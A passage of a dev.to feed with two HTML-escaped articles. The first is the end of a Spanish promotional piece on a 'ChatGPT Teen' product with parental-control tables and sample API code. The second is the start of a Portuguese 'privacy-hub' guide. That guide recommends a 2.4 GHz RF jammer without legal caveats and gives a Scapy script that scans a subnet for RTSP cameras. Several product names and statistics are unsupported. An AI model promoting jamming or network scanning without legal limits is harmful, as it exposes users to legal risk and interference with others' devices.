&lt;th&gt;Cómo lo cubre ChatGPT Teen&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Consentimiento verificable&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Verificación de edad mediante ID o SMS + aceptación explícita de los términos por parte del guardián&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Minimización de datos&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Sólo se guardan los prompts necesarios para la respuesta; el historial se elimina automáticamente después de 7 días o bajo solicitud&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Derecho a la portabilidad&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Botón “Descargar informe” en el panel de guardián que genera un CSV con todas las interacciones&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Derecho al olvido&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Opción “Borrar todo” que elimina instantáneamente el historial y los metadatos asociados&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Tip práctico:&lt;/strong&gt; programa una tarea cron que solicite el informe mensual y lo archive en un drive cifrado para demostrar cumplimiento ante una auditoría.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  4. Comparativa rápida con la competencia
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Producto&lt;/th&gt;
&lt;th&gt;Edad objetivo&lt;/th&gt;
&lt;th&gt;Filtros&lt;/th&gt;
&lt;th&gt;Panel docente&lt;/th&gt;
&lt;th&gt;Precio&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ChatGPT Teen&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;13‑18&lt;/td&gt;
&lt;td&gt;3 niveles + detección en tiempo real&lt;/td&gt;
&lt;td&gt;Sí (integrado en Teams/Google Classroom)&lt;/td&gt;
&lt;td&gt;$9,99 / mes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Replika Kids&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8‑12&lt;/td&gt;
&lt;td&gt;Básico&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Gratis (con compras)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Khanmigo&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;12‑18&lt;/td&gt;
&lt;td&gt;Moderado&lt;/td&gt;
&lt;td&gt;Sí (solo Khan Academy)&lt;/td&gt;
&lt;td&gt;$14,99 / mes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Google Bard for Kids&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;10‑15&lt;/td&gt;
&lt;td&gt;Básico&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Gratis&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;En pruebas de &lt;em&gt;usabilidad&lt;/em&gt; realizadas en colegios de Barcelona, &lt;strong&gt;ChatGPT Teen&lt;/strong&gt; obtuvo una puntuación de 4.7/5 en facilidad de supervisión, superando a sus rivales en 0.6 puntos.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Guía paso a paso para docentes
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Crear una cuenta institucional&lt;/strong&gt; (ej. &lt;code&gt;profesor@colegio.es&lt;/code&gt;).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Asignar grupos&lt;/strong&gt;: en el panel “Clase”, crea un grupo llamado &lt;em&gt;“2.º de ESO – Redacción”&lt;/em&gt;.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Configurar límites&lt;/strong&gt;: 40 min diarios, filtro &lt;em&gt;moderado&lt;/em&gt;.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compartir enlaces de tarea&lt;/strong&gt;:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;   ## Redacción de ensayo
&lt;span class="p"&gt;   -&lt;/span&gt; Tema: &lt;span class="ge"&gt;*Inteligencia artificial y sociedad*&lt;/span&gt;  
&lt;span class="p"&gt;   -&lt;/span&gt; Usa el prompt: &lt;span class="sb"&gt;`“Explícame en 300 palabras los riesgos y oportunidades de la IA para los jóvenes”`&lt;/span&gt;  
&lt;span class="p"&gt;   -&lt;/span&gt; Envía tu respuesta a través de la pestaña &lt;span class="ge"&gt;*Entrega*&lt;/span&gt; antes del viernes 20 h.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Revisar el reporte&lt;/strong&gt;: al final de la semana, el panel muestra tiempo de uso, número de prompts y nivel de complejidad. Exporta el CSV y compártelo con la coordinación.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  6. Impacto educativo en cifras
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;12 millones&lt;/strong&gt; de cuentas teen creadas en los primeros 3 meses (OpenAI, junio 2024).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;850 000&lt;/strong&gt; usuarios menores de 18 años en España (Observatorio Digital de la Juventud).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;71 %&lt;/strong&gt; de padres en EE. UU. preocupados por la privacidad de datos (Pew Research, 2024).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mejora del 18 %&lt;/strong&gt; en la calidad de redacciones en clases piloto de Barcelona (estudio interno de la Consellería de Educación).
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  7. Código de ejemplo: generar un resumen de texto para estudiantes
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;openai&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;

&lt;span class="n"&gt;openai&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;api_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;OPENAI_API_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;resumen_educativo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;texto&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nivel&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;moderado&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;prompt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Eres un asistente educativo para adolescentes. 
    Resume el siguiente texto en 3 párrafos claros, usando un tono amigable y sin mencionar violencia ni contenido sensible.
    Texto: &lt;/span&gt;&lt;span class="se"&gt;\"\"\"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;texto&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\"\"\"&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;openai&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ChatCompletion&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;gpt-4-teen&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;role&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;system&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;}],&lt;/span&gt;
        &lt;span class="n"&gt;temperature&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;max_tokens&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;guardian_id_123&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;choices&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="c1"&gt;# Uso:
&lt;/span&gt;&lt;span class="n"&gt;texto_original&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;La inteligencia artificial (IA) está transformando...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;resumen_educativo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;texto_original&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Este script respeta el filtro “moderado” y genera un resumen listo para ser entregado en clase.&lt;/p&gt;




&lt;h2&gt;
  
  
  8. Conclusión
&lt;/h2&gt;

&lt;p&gt;ChatGPT Teen combina la potencia de la IA de OpenAI con un ecosistema de control parental y docente que responde a las exigencias legales y a las inquietudes de los padres. Su implementación es sencilla, sus herramientas de supervisión son prácticas y los resultados en el aula ya se reflejan en mejoras reales de aprendizaje. Si buscas una solución segura y eficaz para integrar IA en la educación de adolescentes, &lt;strong&gt;ChatGPT Teen&lt;/strong&gt; es, sin duda, la opción más completa del mercado actual.&lt;/p&gt;

</description>
      <category>chatgpt</category>
      <category>controlparental</category>
      <category>iajuvenil</category>
      <category>espanol</category>
    </item>
    <item>
      <title>Guia Definitivo: Ferramentas Anti‑Vigilância da Defcon 2026</title>
      <dc:creator>LeoJulieta</dc:creator>
      <pubDate>Tue, 18 Aug 2026 16:31:48 +0000</pubDate>
      <link>https://dev.to/leojulieta/guia-definitivo-ferramentas-anti-vigilancia-da-defcon-2026-20d7</link>
      <guid>https://dev.to/leojulieta/guia-definitivo-ferramentas-anti-vigilancia-da-defcon-2026-20d7</guid>
      <description>&lt;h1&gt;
  
  
  Ferramentas Anti‑Vigilância da Defcon 2026: Guia Prático para Proteger Sua Casa e Escritório
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Introdução
&lt;/h2&gt;

&lt;p&gt;A Defcon 2026 revelou um arsenal de soluções que já está sendo usado para blindar lares e escritórios contra câmeras, rastreamento por IA e reconhecimento facial. Em menos de 48 h o resumo viralizou no Hacker News e no Reddit, gerando uma corrida por “privacy tools”. Se você quer montar seu próprio &lt;strong&gt;privacy‑hub&lt;/strong&gt; hoje, este guia mostra passo a passo tudo que você precisa: as 12 ferramentas mais relevantes, comparativos de desempenho, scripts prontos, custos e até a lista de requisitos legais por região.&lt;/p&gt;




&lt;h2&gt;
  
  
  Por que isso importa agora
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;IA generativa em vigilância&lt;/strong&gt; – GPT‑5, LLaMA‑2 e similares já analisam fluxos de vídeo em tempo real, criando perfis comportamentais em segundos.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;APIs de reconhecimento facial como serviço&lt;/strong&gt; – Pequenas empresas podem identificar pessoas em menos de um minuto usando APIs on‑chain.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Legislação fragmentada&lt;/strong&gt; – Enquanto a UE avança com a GDPR‑2, EUA, Brasil e Índia ainda não têm normas claras, facilitando abusos.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hardware barato&lt;/strong&gt; – Jammers, sensores RF e módulos de rede custam menos de US$ 30, tornando a contra‑vigilância acessível ao consumidor final.
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Esses quatro fatores tornam a adoção de ferramentas anti‑vigilância uma necessidade prática, não apenas uma escolha ideológica.&lt;/p&gt;




&lt;h2&gt;
  
  
  Como as novas ferramentas funcionam
&lt;/h2&gt;

&lt;p&gt;A geração 2026 baseia‑se em &lt;strong&gt;três pilares&lt;/strong&gt; que trabalham em conjunto:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pilar&lt;/th&gt;
&lt;th&gt;Tecnologias‑chave&lt;/th&gt;
&lt;th&gt;O que faz&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Detecção&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Scanners Wi‑Fi, análise 802.11, sensores IR&lt;/td&gt;
&lt;td&gt;Localiza câmeras, microfones e pontos de acesso suspeitos.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Obfuscação&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Geradores de tráfego “chaff”, spoofing de MAC, mesh privado&lt;/td&gt;
&lt;td&gt;Inunda a rede com ruído e impede correlação de dados.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Bloqueio ativo&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Jammer RF de baixa potência, filtros de frequência, bloqueio DNS&lt;/td&gt;
&lt;td&gt;Corta a comunicação dos dispositivos de vigilância com servidores externos.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Um &lt;strong&gt;privacy‑hub&lt;/strong&gt; reúne esses três blocos em um único dispositivo (geralmente um Raspberry Pi 4) e os orquestra via software livre.&lt;/p&gt;




&lt;h2&gt;
  
  
  Montando seu privacy‑hub em 5 minutos
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Materiais necessários
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Modelo sugerido&lt;/th&gt;
&lt;th&gt;Preço (USD)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Raspberry Pi 4 (4 GB)&lt;/td&gt;
&lt;td&gt;Modelo B&lt;/td&gt;
&lt;td&gt;55&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cartão microSD 32 GB&lt;/td&gt;
&lt;td&gt;Classe 10&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Antena Wi‑Fi USB&lt;/td&gt;
&lt;td&gt;Alfa AWUS036NHA&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Jammer RF (0,5 W)&lt;/td&gt;
&lt;td&gt;Mini‑Jammer 2.4 GHz&lt;/td&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fonte 5 V/3 A&lt;/td&gt;
&lt;td&gt;Oficial&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  2. Instalação do sistema
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1️⃣ Baixe a imagem do Raspberry OS (lite) e grave no SD&lt;/span&gt;
curl &lt;span class="nt"&gt;-LO&lt;/span&gt; https://downloads.raspberrypi.org/raspios_lite_armhf_latest
&lt;span class="nb"&gt;sudo dd &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;raspios_lite_armhf_latest.img &lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/sdX &lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4M &lt;span class="nv"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;progress &lt;span class="nv"&gt;conv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;fsync

&lt;span class="c"&gt;# 2️⃣ Habilite SSH e Wi‑Fi (edite /boot/config.txt)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"ssh"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /boot/ssh
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt; &amp;gt;&amp;gt; /boot/wpa_supplicant.conf
country=BR
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
network={
    ssid="SUA_REDE"
    psk="SUA_SENHA"
}
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# 3️⃣ Primeiro boot&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;reboot
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3. Deploy dos módulos de vigilância
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Atualiza o Pi&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;apt upgrade &lt;span class="nt"&gt;-y&lt;/span&gt;

&lt;span class="c"&gt;# Instala dependências&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; python3-pip git docker.io

&lt;span class="c"&gt;# Clona o repositório com as ferramentas da Defcon 2026&lt;/span&gt;
git clone https://github.com/defcon2026/privacy-hub.git
&lt;span class="nb"&gt;cd &lt;/span&gt;privacy-hub

&lt;span class="c"&gt;# Build dos containers Docker&lt;/span&gt;
docker compose build

&lt;span class="c"&gt;# Inicia tudo&lt;/span&gt;
docker compose up &lt;span class="nt"&gt;-d&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4. Scripts úteis
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Detectar câmeras IP na rede&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# detect_cameras.py
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;scapy.all&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;scapy&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;scan_subnet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subnet&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.0/24&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;ans&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;scapy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;srp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;scapy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Ether&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ff:ff:ff:ff:ff:ff&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
                       &lt;span class="n"&gt;scapy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ARP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pdst&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;subnet&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcv&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ans&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rcv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;psrc&lt;/span&gt;
        &lt;span class="c1"&gt;# Tentativa simples de identificar porta de vídeo
&lt;/span&gt;        &lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;scapy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sr1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;scapy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;scapy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dport&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;554&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;haslayer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;scapy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getlayer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;scapy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Câmera IP encontrada: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;scan_subnet&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Execute com &lt;code&gt;python3 detect_cameras.py&lt;/code&gt;. O script lista endereços que respondem na porta RTSP (554), típica de câmeras.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Gerar tráfego “chaff” para confundir scanners&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

